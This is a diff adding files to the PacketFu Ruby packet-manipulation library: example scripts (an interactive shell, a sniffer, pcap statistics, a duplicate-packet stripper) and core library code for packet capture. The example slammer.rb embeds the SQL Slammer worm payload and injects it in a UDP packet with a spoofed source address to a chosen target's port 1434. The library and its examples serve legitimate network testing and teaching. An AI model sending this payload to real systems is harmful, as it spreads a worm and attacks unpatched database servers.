packetfu 1.1.2 → 1.1.3

data/examples/packetfu-shell.rb

@@ -0,0 +1,113 @@
+# == Synopsis
+#
+# packetfu-shell.rb is intended for IRB consumption, and providing an
+# interactive interface for PacketFu experimentation.
+#
+# == Usage
+#
+#   irb -r packetfu-shell.rb
+# or
+#   sudo irb -r packetfu-shell.rb
+#
+# If run as root, packet capturing/injecting is available, which includes
+# access to Utils.whoami?
+#
+# Once loaded, the PacketFu module is mixed in, and Utils commands are
+# aliased to the PacketFu module proper. Sessions look something like
+# this:
+#
+# == Example
+#
+#  irb(main):001:0> pkt = TCPPacket.new
+#  => 00 1a c5 00 00 00 00 1a c5 00 00 00 08 00 45 00   ..............E.
+#  00 28 62 9d 00 00 ff 06 59 33 00 00 00 00 00 00   .(b.....Y3......
+#  00 00 d4 fb 00 00 18 c6 32 86 00 00 00 00 50 00   ........2.....P.
+#  40 00 4f 9d 00 00                                 @.O...
+#  irb(main):002:0> pkt.payload="I am totally up in your stack, twiddling your bits."
+#  => "I am totally up in your stack, twiddling your bits."
+#  irb(main):003:0> pkt.ip_saddr="1.2.3.4"
+#  => "1.2.3.4"
+#  irb(main):004:0> pkt.tcp_sport=13013
+#  => 13013
+#  irb(main):005:0> pkt.tcp_dport=808
+#  => 808
+#  irb(main):006:0> pkt.recalc
+#  => {"eth_src"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}, "body"=>{"ip_tos"=>0, "ip_src"=>{"o1"=>1, "o2"=>2, "o3"=>3, "o4"=>4}, "body"=>{"tcp_ecn"=>{"c"=>0, "n"=>0, "e"=>0}, "tcp_dst"=>808, "tcp_win"=>16384, "body"=>"I am totally up in your stack, twiddling your bits.", "tcp_flags"=>{"fin"=>0, "psh"=>0, "syn"=>0, "rst"=>0, "ack"=>0, "urg"=>0}, "tcp_hlen"=>5, "tcp_ack"=>0, "tcp_urg"=>0, "tcp_seq"=>415642246, "tcp_sum"=>51184, "tcp_reserved"=>0, "tcp_opts"=>"", "tcp_src"=>13013}, "ip_dst"=>{"o1"=>0, "o2"=>0, "o3"=>0, "o4"=>0}, "ip_frag"=>0, "ip_proto"=>6, "ip_hl"=>5, "ip_len"=>91, "ip_sum"=>21754, "ip_id"=>25245, "ip_v"=>4, "ip_ttl"=>255}, "eth_proto"=>2048, "eth_dst"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}}
+#  irb(main):007:0> pkt.to_f('/tmp/tcp-example.pcap')
+#  => ["/tmp/tcp-example.pcap", 145, 1, 1220048597, 1]
+#  irb(main):008:0> puts pkt.inspect_hex(2)
+#  32 d5 03 28 7c 50 1f 01 00 00 00 00 50 00 40 00   2..(|P......P.@.
+#  77 eb 00 00 49 20 61 6d 20 74 6f 74 61 6c 6c 79   w...I am totally
+#  20 75 70 20 69 6e 20 79 6f 75 72 20 73 74 61 63    up in your stac
+#  6b 2c 20 74 77 69 64 64 6c 69 6e 67 20 79 6f 75   k, twiddling you
+#  72 20 62 69 74 73 2e                              r bits.
+#  => nil
+
+$: << File.expand_path(File.dirname(__FILE__) + "/../lib/")
+require 'examples'
+require 'packetfu'
+
+module PacketFu
+	def whoami?(args={})
+		Utils.whoami?(args)
+	end
+	def arp(arg)
+		Utils.arp(arg)
+	end
+end
+
+include PacketFu
+
+# Draws a picture. Includes a nunchuck, so you know that it's serious.
+# I /think/ this is how you're supposed to spell it in a kana charset.
+# http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict
+#
+def packetfu_ascii_art
+	puts <<EOM
+ _______  _______  _______  _        _______ _________ _______          
+(  ____ )(  ___  )(  ____ \\| \\    /\\(  ____ \\\\__   __/(  ____ \\|\\     /|
+| (    )|| (   ) || (    \\/|  \\  / /| (    \\/   ) (   | (    \\/| )   ( |
+| (____)|| (___) || |      |  (_/ / | (__       | |   | (__    | |   | |
+|  _____)|  ___  || |      |   _ (  |  __)      | |   |  __)   | |   | |
+| (      | (   ) || |      |  ( \\ \\ | (         | |   | (      | |   | |
+| )      | )   ( || (____/\\|  /  \\ \\| (____/\\   | |   | )      | (___) |
+|/       |/     \\|(_______/|_/    \\/(_______/   )_(   |/       (_______)
+ ____________________________              ____________________________
+(                            )            (                            )
+| 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |
+|                            )( )( )( )( )(                            |
+(____________________________)            (____________________________)
+                               PacketFu
+             a mid-level packet manipulation library for ruby
+
+EOM
+	end
+
+@pcaprub_loaded = PacketFu.pcaprub_loaded?
+# Displays a helpful banner.
+def banner
+	packetfu_ascii_art
+	puts ">>> PacketFu Shell #{PacketFu.version}."
+	if Process.euid.zero? && @pcaprub_loaded
+		puts ">>> Use $packetfu_default.config for salient networking details."
+		print "IP:  %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
+		puts "   Gateway: %s" % $packetfu_default.eth_daddr
+		print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
+		print "  " * 13 
+		puts "Iface:   %s" % [($packetfu_default.iface)]
+		puts ">>> Packet capturing/injecting enabled."
+	else
+		print ">>> Packet capturing/injecting disabled. "
+		puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
+	end
+	puts "<>" * 36
+end
+
+# Silly wlan0 workaround
+begin
+	$packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@pcaprub_loaded && Process.euid.zero?)
+rescue RuntimeError
+	$packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@pcaprub_loaded && Process.euid.zero?)
+end
+
+banner

data/examples/simple-sniffer.rb

@@ -0,0 +1,40 @@
+#!/usr/bin/env ruby
+require 'examples'
+require 'packetfu'
+
+puts "Simple sniffer for PacketFu #{PacketFu.version}"
+include PacketFu
+iface = ARGV[0] || "eth0"
+
+def sniff(iface)
+	cap = Capture.new(:iface => iface, :start => true)
+	cap.stream.each do |p|
+		pkt = Packet.parse p
+		if pkt.is_ip?
+			next if pkt.ip_saddr == Utils.ifconfig[:ip_saddr]
+			packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last]
+			puts "%-15s -> %-15s %-4d %s" % packet_info
+		end
+	end
+end
+
+sniff(iface)
+
+=begin 
+Results look like this:
+145.58.33.95    -> 192.168.11.70   1514 TCP
+212.233.158.76  -> 192.168.11.70   110  UDP
+88.174.164.147  -> 192.168.11.70   110  UDP
+145.58.33.95    -> 192.168.11.70   1514 TCP
+145.58.33.95    -> 192.168.11.70   1514 TCP
+145.58.33.95    -> 192.168.11.70   1514 TCP
+145.58.33.95    -> 192.168.11.70   1514 TCP
+8.8.8.8         -> 192.168.11.70   143  UDP
+41.237.73.186   -> 192.168.11.70   60   TCP
+145.58.33.95    -> 192.168.11.70   1514 TCP
+145.58.33.95    -> 192.168.11.70   1514 TCP
+8.8.8.8         -> 192.168.11.70   143  UDP
+8.8.8.8         -> 192.168.11.70   128  UDP
+8.8.8.8         -> 192.168.11.70   187  UDP
+24.45.247.232   -> 192.168.11.70   70   TCP
+=end 

data/examples/simple-stats.rb

@@ -0,0 +1,50 @@
+#!/usr/bin/env ruby
+
+# Simple-stats.rb takes a pcap file, and gives some simple 
+# stastics on the protocols found. It's mainly used to
+# demonstrate a method to parse pcap files.
+#
+# XXX: DO NOT USE THIS METHOD TO READ PCAP FILES.
+#
+# See new-simple-stats.rb for an example of the streaming
+# parsing method.
+
+require 'examples' # For path setting slight-of-hand
+require 'packetfu'
+
+# Takes a file name, parses the packets, and records the packet
+# type based on its PacketFu class.
+def count_packet_types(file)
+	file = File.open(file) {|f| f.read}
+	stats = {}
+	count = 0
+	pcapfile = PacketFu::PcapPackets.new
+	pcapfile.read(file)
+	pcapfile.each do |p|
+		# Now it's a PacketFu packet struct.
+		pkt = PacketFu::Packet.parse(p.data) 
+		kind = pkt.class.to_s.split("::").last
+		if stats[kind]
+			stats[kind] += 1
+		else
+			stats[kind] = 0
+		end
+		count += 1
+		break if count >= 1_000
+	end
+	stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
+end
+
+if File.readable?(infile = (ARGV[0] || 'in.pcap'))
+	title = "Packets by packet type in '#{infile}'"
+	puts title
+	puts "-" * title.size
+	count_packet_types(infile)
+else
+	raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
+end
+
+
+
+
+

data/examples/slammer.rb

@@ -0,0 +1,33 @@
+#!/usr/bin/env ruby
+
+# Fires off a slammer packet to an unsuspecting target. This code does not
+# break real devices! (To do that, you'll need to fix up the targetting)
+target = ARGV[0]
+raise RuntimeError, "Need a target" unless target
+action = ARGV[1]
+raise RuntimeError, "Need an action. Try file or your interface." unless action
+
+require 'packetfu'
+include PacketFu
+
+slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363<a\331\377\213E\264\215\f@\215\024\210\301\342\004\001\302\301" + "\342\b)\302\215\004\220\001\330\211E\264j\020\215E\260P1\311Qf\201\361x\001Q\215E\003P\213E\254P\377\326" + "\353\312"
+
+def rand_source_ip
+	[rand(0xffffffff)].pack("N")
+end
+
+kill_packet = UDPPacket.new
+kill_packet.eth_daddr = "00:1b:63:aa:bb:cc"
+kill_packet.ip_daddr =  ARGV[0]
+kill_packet.ip_src.read(rand_source_ip)
+kill_packet.udp_dst = 1434
+kill_packet.recalc
+kill_packet.payload = slammer
+
+if action == 'file'.downcase
+	puts kill_packet.to_f
+else
+	puts kill_packet.to_w(action.downcase)
+end
+
+

data/examples/uniqpcap.rb

@@ -0,0 +1,15 @@
+# Uniqpcap.rb takes a pcap file, strips out duplicate packets, and 
+# writes them to a file.
+#
+# The duplicate pcap problem is common when I'm capturing 
+# traffic to/from a VMWare image, for some reason.
+#
+# Currently, the timestamp information is lost due to PcapRub's 
+# file read. For me, this isn't a big deal. Future versions 
+# will deal with timestamps correctly.
+require 'examples' # For path setting slight-of-hand
+require 'packetfu'
+
+in_array = PacketFu::Read.f2a(:file => ARGV[0])
+puts PacketFu::Write.a2f(:file => "uniq-" + ARGV[0], :arr => in_array.uniq).inspect
+

data/lib/packetfu.rb

@@ -0,0 +1,147 @@
+
+# :title: PacketFu Documentation
+# :main: README
+
+cwd = File.expand_path(File.dirname(__FILE__))
+
+$: << cwd
+
+require File.join(cwd,"packetfu","structfu")
+require "ipaddr"
+require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/
+
+module PacketFu
+
+	# Picks up all the protocols defined in the protos subdirectory
+	def self.require_protos(cwd)
+		protos_dir = File.join(cwd, "packetfu", "protos")
+		Dir.new(protos_dir).each do |fname|
+			next unless fname[/\.rb$/]
+			begin 
+				require File.join(protos_dir,fname)
+			rescue
+				warn "Warning: Could not load `#{fname}'. Skipping."
+			end
+		end
+	end
+
+	# Deal with Ruby's encoding by ignoring it.
+	def self.force_binary(str)
+		str.force_encoding "binary" if str.respond_to? :force_encoding
+	end
+
+	# Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
+	@byte_order = :little
+
+	# Checks if pcaprub is loaded correctly.
+	@pcaprub_loaded = false
+
+	# PacketFu works best with Pcaprub version 0.8-dev (at least)
+	# The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
+	def self.pcaprub_platform_require
+		begin
+			require 'pcaprub'
+		rescue LoadError
+			return false
+		end
+		@pcaprub_loaded = true 
+	end
+
+	pcaprub_platform_require
+
+	if @pcaprub_loaded
+		if Pcap.version !~ /[0-9]\.[7-9][0-9]?(-dev)?/ # Regex for 0.7-dev and beyond.
+			@pcaprub_loaded = false # Don't bother with broken versions
+			raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
+		end
+		require "packetfu/capture" 
+		require "packetfu/inject"
+	end
+
+	# Returns the status of pcaprub
+	def self.pcaprub_loaded?
+		@pcaprub_loaded
+	end
+
+	# Returns an array of classes defined in PacketFu
+	def self.classes
+		constants.map { |const| const_get(const) if const_get(const).kind_of? Class}.compact
+	end
+
+	# Adds the class to PacketFu's list of packet classes -- used in packet parsing.
+	def self.add_packet_class(klass)
+		raise "Need a class" unless klass.kind_of? Class
+		if klass.name !~ /[A-Za-z0-9]Packet/
+			raise "Packet classes should be named 'ProtoPacket'"
+		end
+		@packet_classes ||= []
+		@packet_classes << klass
+		@packet_classes.sort! {|x,y| x.name <=> y.name}
+	end
+
+	# Presumably, there may be a time where you'd like to remove a packet class.
+	def self.remove_packet_class(klass)
+		raise "Need a class" unless klass.kind_of? Class
+		@packet_classes ||= []
+		@packet_classes.delete klass
+		@packet_classes 
+	end
+
+	# Returns an array of packet classes
+	def self.packet_classes
+		@packet_classes || []
+	end
+
+	# Returns an array of packet types by packet prefix.
+	def self.packet_prefixes
+		return [] unless @packet_classes
+		@packet_classes.map {|p| p.to_s.split("::").last.to_s.downcase.gsub(/packet$/,"")}
+	end
+
+	# The current inspect style. One of :hex, :dissect, or :default
+	# Note that :default means Ruby's default, which is usually
+	# far too long to be useful.
+	def self.inspect_style
+		@inspect_style ||= :dissect
+	end
+
+	# Setter for PacketFu's @inspect_style
+	def self.inspect_style=(arg)
+		@inspect_style = case arg
+			when :hex, :pretty
+				:hex
+			when :dissect, :verbose
+				:dissect
+			when :default, :ugly
+				:default
+			else
+				:dissect
+			end
+	end
+
+	# Switches inspect styles in a round-robin fashion between 
+	# :dissect, :default, and :hex
+	def toggle_inspect
+		case @inspect_style
+		when :hex, :pretty
+			@inspect_style = :dissect
+		when :dissect, :verbose
+			@inspect_style = :default
+		when :default, :ugly
+			@inspect_style = :hex
+		else
+			@inspect_style = :dissect
+		end
+	end
+
+
+end
+
+require File.join(cwd,"packetfu","version")
+require File.join(cwd,"packetfu","pcap")
+require File.join(cwd,"packetfu","packet")
+PacketFu.require_protos(cwd)
+require File.join(cwd,"packetfu","utils")
+require File.join(cwd,"packetfu","config")
+
+# vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby

data/lib/packetfu/capture.rb

@@ -0,0 +1,169 @@
+module PacketFu
+
+	# The Capture class is used to construct PcapRub objects in order to collect
+	# packets from an interface.
+	#
+	# This class requires PcapRub. In addition, you will need root (or root-like) privileges 
+	# in order to capture from the interface.
+	#
+	# Note, on some wireless cards, setting :promisc => true will disable capturing.
+	#
+	# == Example
+	#
+	#  # Typical use
+	#  cap = PacketFu::Capture.new(:iface => 'eth0', :promisc => true)
+	#  cap.start
+	#  sleep 10
+	#  cap.save
+	#  first_packet = cap.array[0]
+	#
+	#  # Tcpdump-like use
+	#  cap = PacketFu::Capture.new(:start => true)
+	#  cap.show_live(:save => true, :filter => 'tcp and not port 22')
+	#
+	# == See Also
+	#
+	# Read, Write
+	class Capture
+		attr_accessor :array, :stream # Leave these public and open.
+		attr_reader :iface, :snaplen, :promisc, :timeout # Cant change after the init.
+
+		def initialize(args={})
+			@array = [] # Where the packet array goes.
+			@stream = [] # Where the stream goes.
+			@iface = (args[:iface] || ENV['IFACE'] || Pcap.lookupdev || "lo").to_s
+			@snaplen = args[:snaplen] || 0xffff
+			@promisc = args[:promisc] || false # Sensible for some Intel wifi cards
+			@timeout = args[:timeout] || 1
+
+			setup_params(args)
+		end
+
+		# Used by new().
+		def setup_params(args={})
+			filter = args[:filter] # Not global; filter criteria can change.
+			start = args[:start] || false
+			capture if start
+			bpf(:filter=>filter) if filter
+		end
+
+		# capture() initializes the @stream varaible. Valid arguments are:
+		#
+		#   :filter
+		#     Provide a bpf filter to enable for the capture. For example, 'ip and not tcp'
+		#   :start
+		#     When true, start capturing packets to the @stream variable. Defaults to true
+		def capture(args={})
+			if Process.euid.zero?
+				filter = args[:filter]
+				start = args[:start] || true
+				if start
+					begin
+						@stream = Pcap.open_live(@iface,@snaplen,@promisc,@timeout)
+					rescue RuntimeError
+						$stderr.print "Are you sure you're root? Error: "
+						raise
+					end
+					bpf(:filter=>filter) if filter
+				else
+					@stream = []
+				end
+				@stream
+			else
+				raise RuntimeError,"Not root, so can't capture packets. Error: "
+			end
+		end
+
+		# start() is equivalent to capture().
+		def start(args={})
+			capture(args)
+		end
+
+		# clear() clears the @stream and @array variables, essentially starting the
+		# capture session over. Valid arguments are:
+		#
+		#   :array 
+		#     If true, the @array is cleared.
+		#   :stream
+		#     If true, the @stream is cleared.
+		def clear(args={})
+			array = args[:array] || true
+			stream = args[:stream] || true
+			@array = [] if array
+			@stream = [] if stream
+		end
+
+		# bpf() sets a bpf filter on a capture session. Valid arugments are:
+		#
+		#   :filter
+		#     Provide a bpf filter to enable for the capture. For example, 'ip and not tcp'
+		def bpf(args={})
+			filter = args[:filter]
+			capture if @stream.class == Array
+			@stream.setfilter(filter)
+		end
+
+		# wire_to_array() saves a packet stream as an array of binary strings. From here,
+		# packets may accessed by other functions. Note that the wire_to_array empties
+		# the stream, so multiple calls will append new packets to @array.
+		# Valid arguments are:
+		#
+		#   :filter
+		#     Provide a bpf filter to apply to packets moving from @stream to @array.
+		def wire_to_array(args={})
+			filter = args[:filter] 
+			bpf(:filter=>filter) if filter
+
+			while this_pkt = @stream.next
+				@array << this_pkt
+			end
+			@array.size
+		end
+
+		# next() exposes the Stream object's next method to the outside world.
+		def next
+			return @stream.next
+		end
+
+		# w2a() is a equivalent to wire_to_array()
+		def w2a(args={})
+			wire_to_array(args)
+		end
+
+		# save() is a equivalent to wire_to_array()
+		def save(args={})
+			wire_to_array(args)
+		end
+
+		# show_live() is a method to capture packets and display peek() data to stdout. Valid arguments are:
+		#
+		#   :filter
+		#     Provide a bpf filter to captured packets.
+		#   :save
+		#     Save the capture in @array
+		#   :verbose
+		#     TODO: Not implemented yet; do more than just peek() at the packets.
+		#   :quiet
+		#     TODO: Not implemented yet; do less than peek() at the packets.
+		def show_live(args={})
+			filter = args[:filter]
+			save = args[:save]
+			verbose = args[:verbose] || args[:v] || false
+			quiet = args[:quiet] || args[:q] || false # Setting q and v doesn't make a lot of sense but hey.
+
+			# Ensure the capture's started.
+			if @stream.class == Array
+				capture
+			end
+
+			@stream.setfilter(filter) if filter
+			while true
+				@stream.each do |pkt|
+					puts Packet.parse(pkt).peek
+					@array << pkt if args[:save]
+				end
+			end
+		end
+
+	end
+end